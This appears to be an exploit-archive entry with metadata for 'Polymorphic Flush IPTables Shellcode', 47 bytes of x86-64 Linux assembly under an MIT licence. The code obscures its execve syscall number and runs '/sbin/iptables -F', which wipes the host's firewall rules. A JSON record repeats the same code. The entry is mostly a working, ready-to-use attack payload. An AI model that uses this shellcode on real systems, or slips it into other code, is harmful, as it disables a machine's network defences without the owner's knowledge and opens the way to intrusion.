ID 1337DAY-ID-27200 Type zdt Reporter Robert Taylor Modified 2017-03-05T00:00:00
Description
Exploit for linux/x86-64 platform in category shellcode
;The MIT License (MIT)
;Copyright (c) 2017 Robert L. Taylor
;Permission is hereby granted, free of charge, to any person obtaining a
;copy of this software and associated documentation files (the “Software”),
;to deal in the Software without restriction, including without limitation
;the rights to use, copy, modify, merge, publish, distribute, sublicense,
;and/or sell copies of the Software, and to permit persons to whom the
;Software is furnished to do so, subject to the following conditions:
;The above copyright notice and this permission notice shall be included
;in all copies or substantial portions of the Software.
;The Software is provided “as is”, without warranty of any kind, express or
;implied, including but not limited to the warranties of merchantability,
;fitness for a particular purpose and noninfringement. In no event shall the
;authors or copyright holders be liable for any claim, damages or other
;liability, whether in an action of contract, tort or otherwise, arising
;from, out of or in connection with the software or the use or other
;dealings in the Software.
;
; For a detailed explanation of this shellcode see my blog post:
; http://a41l4.blogspot.ca/2017/03/polyflushiptables1434.html
global _start
section .text
_start:
push 82
pop rax
cdq
push rdx
push word '-F'
push rsp
pop rbx
push rdx
mov rcx, 'iptables'
push rcx
shl al,1
sub al,cl
mov rcx, '//sbin//'
push rcx
push rsp
pop rdi
push rdx
push rbx
push rdi
push rsp
pop rsi
syscall
# 0day.today [2018-04-13] #
{"sourceData": ";The MIT License (MIT)\r\n \r\n;Copyright (c) 2017 Robert L. Taylor\r\n \r\n;Permission is hereby granted, free of charge, to any person obtaining a \r\n;copy of this software and associated documentation files (the \u201cSoftware\u201d), \r\n;to deal in the Software without restriction, including without limitation \r\n;the rights to use, copy, modify, merge, publish, distribute, sublicense, \r\n;and/or sell copies of the Software, and to permit persons to whom the \r\n;Software is furnished to do so, subject to the following conditions:\r\n \r\n;The above copyright notice and this permission notice shall be included \r\n;in all copies or substantial portions of the Software.\r\n \r\n;The Software is provided \u201cas is\u201d, without warranty of any kind, express or\r\n;implied, including but not limited to the warranties of merchantability, \r\n;fitness for a particular purpose and noninfringement. In no event shall the\r\n;authors or copyright holders be liable for any claim, damages or other \r\n;liability, whether in an action of contract, tort or otherwise, arising \r\n;from, out of or in connection with the software or the use or other \r\n;dealings in the Software.\r\n;\r\n; For a detailed explanation of this shellcode see my blog post: \r\n; http://a41l4.blogspot.ca/2017/03/polyflushiptables1434.html \r\n \r\nglobal _start \r\n \r\nsection .text\r\n \r\n_start:\r\n push 82 \r\n pop rax\r\n cdq\r\n push rdx\r\n push word '-F'\r\n push rsp\r\n pop rbx\r\n push rdx\r\n mov rcx, 'iptables'\r\n push rcx\r\n shl al,1\r\n sub al,cl\r\n mov rcx, '//sbin//'\r\n push rcx\r\n push rsp\r\n pop rdi\r\n push rdx\r\n push rbx\r\n push rdi\r\n push rsp\r\n pop rsi\r\n syscall\n\n# 0day.today [2018-04-13] #", "description": "Exploit for linux/x86-64 platform in category shellcode", "sourceHref": "https://0day.today/exploit/27200", "reporter": "Robert Taylor", "href": "https://0day.today/exploit/description/27200", "type": "zdt", "viewCount": 8, "references": [], "lastseen": "2018-04-13T01:47:25", "published": "2017-03-05T00:00:00", "cvelist": [], "id": "1337DAY-ID-27200", "modified": "2017-03-05T00:00:00", "title": "Linux/x86-64 - Polymorphic Flush IPTables Shellcode (47 bytes)", "edition": 1, "cvss": {"score": 0.0, "vector": "NONE"}, "bulletinFamily": "exploit", "enchantments": {"score": {"value": 0.1, "vector": "NONE", "modified": "2018-04-13T01:47:25", "rev": 2}, "dependencies": {"references": [{"type": "virtuozzo", "idList": ["VZA-2020-017"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:27200"]}], "modified": "2018-04-13T01:47:25", "rev": 2}, "vulnersScore": 0.1}, "immutableFields": []}